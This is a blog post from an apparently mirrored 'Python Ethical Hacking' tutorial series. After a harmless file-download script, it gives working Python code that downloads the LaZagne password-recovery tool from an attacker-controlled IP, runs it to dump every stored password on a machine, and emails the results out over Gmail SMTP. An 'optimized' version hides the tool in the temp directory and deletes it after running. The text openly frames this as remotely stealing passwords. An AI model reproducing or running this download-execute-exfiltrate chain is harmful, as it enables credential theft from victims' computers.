zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    DOWNLOAD_FILE

    • Download files on a system.
    • Once packaged properly will work on all operating systems.
    • Simple but powerfull.

    Can be used in many situations:

    • download _file + execute_command = download_and_execute
    • download_file + execute_and_report = download_execute_and_report
    • ...etc
    #!/usr/bin/env python
    import requests
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    download("https://cdn.spacetelescope.org/archives/images/screen/potw1739a.jpg")

     DOWNLOAD_EXECUTE_AND_REPORT

    • Download files on a system.
    • Execute a command that uses this file.
    • Report results in our email.
    • Cross multi-Platform!!

    Ex: remotely steal all stored passwords on a computer!

    Using the LaZagne tool:https://github.com/AlessandroZ/LaZagne

    lazagne.exe --help

     Use the following command to find all the passwords in the current system.

     lazagne.exe all

     Steal saved passwords remotely

    #!/usr/bin/env python
    import requests
    import smtplib
    import subprocess
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)

    Optimize the Python Script - Interacting with the file system. The evil file will be downloaded in the temp directory and removed after executed. 

    #!/usr/bin/env python
    import os
    import smtplib
    import subprocess
    import requests
    import tempfile
    
    
    def download(url):
        get_response = requests.get(url)
        file_name = url.split("/")[-1]
        with open(file_name, "wb") as out_file:
            out_file.write(get_response.content)
    
    
    def send_mail(email, password, message):
        server = smtplib.SMTP("smtp.gmail.com", 587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()
    
    
    temp_directory = tempfile.gettempdir()
    os.chdir(temp_directory)
    download("http://10.0.0.43/evil-files/lazagne.exe")
    result = subprocess.check_output("lazagne.exe all", shell=True)
    print(result.decode())
    send_mail("aaaa@gmail.com", "1111111", result)
    os.remove("lazagne.exe")
    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    P24—动态数组没有{}
    JavaB站学习————接口在开发中的作用
    JavaB站学习————extends和implements同时出现
    JavaB站学习————一个类可以实现多个接口以及接口的总结
    JavaB站学习————接口和多态联合使用。
    01日语五十音
    07 递归&&命名风格&&作业(结构体,malloc,函数,递归)
    JavaB站学习——作业16
    电子书
    破解压缩包
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11616187.html
Copyright © 2011-2022 走看看